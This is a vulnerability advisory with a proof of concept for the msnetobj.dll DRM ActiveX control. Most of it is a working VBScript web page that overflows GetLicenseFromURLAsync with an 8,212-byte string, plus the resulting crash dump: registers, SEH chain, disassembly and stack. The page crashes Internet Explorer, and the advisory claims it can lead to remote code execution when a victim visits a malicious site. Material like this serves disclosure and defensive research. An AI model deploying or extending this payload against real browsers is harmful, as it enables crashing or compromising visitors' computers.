============================================================================================

                             Microsoft DRM technology (msnetobj.dll) ActiveX Multiple Remote Vulnerabilities
                     ===========================================================================================

                                                     by

                                            Asheesh Kumar Mani Tripathi

# Vulnerability Discovered By Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company       www.aksitservices.co.in

# Credit by Asheesh Anaconda

# Date 18th Sep 2010

# Description: Microsoft DRM technology (msnetobj.dll) ActiveX suffers from multiple remote vulnerabilities
             such as buffer overflow, integer overflow and denial of service (IE crash). This issue is
             triggered when an attacker convinces a victim user to visit a malicious website.

             The "GetLicenseFromURLAsync" function does not handle input correctly.
 
             Remote attackers may exploit this issue to execute arbitrary machine code in the context of
             the affected application, facilitating the remote compromise of affected computers. Failed
             exploit attempts likely result in browser crashes.

=============================================Proof Of Concept=============================================
 

<object classid='clsid:A9FC132B-096D-460B-B7D5-1DB0FAE0C062' id='RM' />
<script language='vbscript'>

targetFile = "C:\Windows\System32\msnetobj.dll"
prototype  = "Sub GetLicenseFromURLAsync ( ByVal bstrXMLDoc As String ,  ByVal bstrURL As String )"
memberName = "GetLicenseFromURLAsync"
progid     = "MSNETOBJLib.RMGetLicense"
argCount   = 2

arg1="defaultV"
arg2=String(8212, "A")

RM.GetLicenseFromURLAsync(arg1 ,arg2)

</script>
=============================================Exception details=============================================
Exception Code: ACCESS_VIOLATION
Disasm: 77BEEA7F MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]

Seh Chain:
--------------------------------------------------
1  76E7E47D  msvcrt.dll
2  77BB99FA  ntdll.dll

Called From                   Returns To                   
--------------------------------------------------
ntdll.77BEEA7F                ntdll.77BEE9D9               
ntdll.77BEE9D9                KERNEL32.770E7F75            
KERNEL32.770E7F75             ole32.779EB3E1               
ole32.779EB3E1                ole32.779EB50A               
ole32.779EB50A                ole32.779AF6F6               
ole32.779AF6F6                ole32.779AF794               
ole32.779AF794                msnetobj.6B823726            
msnetobj.6B823726             msnetobj.6B823814            
msnetobj.6B823814             msnetobj.6B823C40            
msnetobj.6B823C40             msnetobj.6B823FA7            
msnetobj.6B823FA7             msnetobj.6B824513            
msnetobj.6B824513             msnetobj.6B823A9D            
msnetobj.6B823A9D             msvcrt.76E82599              
msvcrt.76E82599               msvcrt.76E826B3              
msvcrt.76E826B3               KERNEL32.770ED0E9            
KERNEL32.770ED0E9             ntdll.77BF19BB               
ntdll.77BF19BB                ntdll.77BF198E               

Registers:
--------------------------------------------------
EIP 77BEEA7F
EAX 00000054
EBX 00032A78 -> Asc: GsHd(
ECX 00000000
EDX 00000004
EDI 035CEE28 -> 7FFD8000
ESI 6B821434
EBP 035CEE48 -> 035CEE90
ESP 035CEE0C -> 00032A78

Block Disassembly:
--------------------------------------------------
77BEEA68 PUSH EDI
77BEEA69 JNZ 77C25E3F
77BEEA6F TEST BYTE PTR [EBX+10],1
77BEEA73 JE 77C25E93
77BEEA79 MOV EAX,[EBX+18]
77BEEA7C LEA EDI,[EBP-20]
77BEEA7F MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]   <--- CRASH
77BEEA80 PUSH 77BEEABD
77BEEA85 MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]
77BEEA86 PUSH 1C
77BEEA88 ADD EAX,EBX
77BEEA8A PUSH EDX
77BEEA8B MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI]
77BEEA8C PUSH EAX
77BEEA8D LEA EAX,[EBP-20]

ArgDump:
--------------------------------------------------
EBP+8 00032A78 -> Asc: GsHd(
EBP+12 6B821434
EBP+16 035CEEB0 -> 00000040
EBP+20 00000000
EBP+24 77AC1424 -> 779EBEC8
EBP+28 6B821434

Stack Dump:
--------------------------------------------------
35CEE0C 78 2A 03 00 08 00 15 C0 00 00 00 00 B0 EE 5C 03  [..............\.]
35CEE1C 04 00 00 00 34 14 82 6B 00 90 FD 7F 00 80 FD 7F  [.......k........]
35CEE2C 44 EE 5C 03 01 6C BF 77 68 EE 5C 03 84 EE 5C 03  [D.\..l.wh.\...\.]
35CEE3C 88 EE 5C 03 80 EE 5C 03 92 59 7C 75 90 EE 5C 03  [..\...\..Y.u..\.]
35CEE4C D9 E9 BE 77 78 2A 03 00 34 14 82 6B B0 EE 5C 03  [...w.......k..\.]

ApiLog
--------------------------------------------------

***** Installing Hooks *****
7735d5c0     RegCreateKeyExA (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings,(null))
Debug String Log
--------------------------------------------------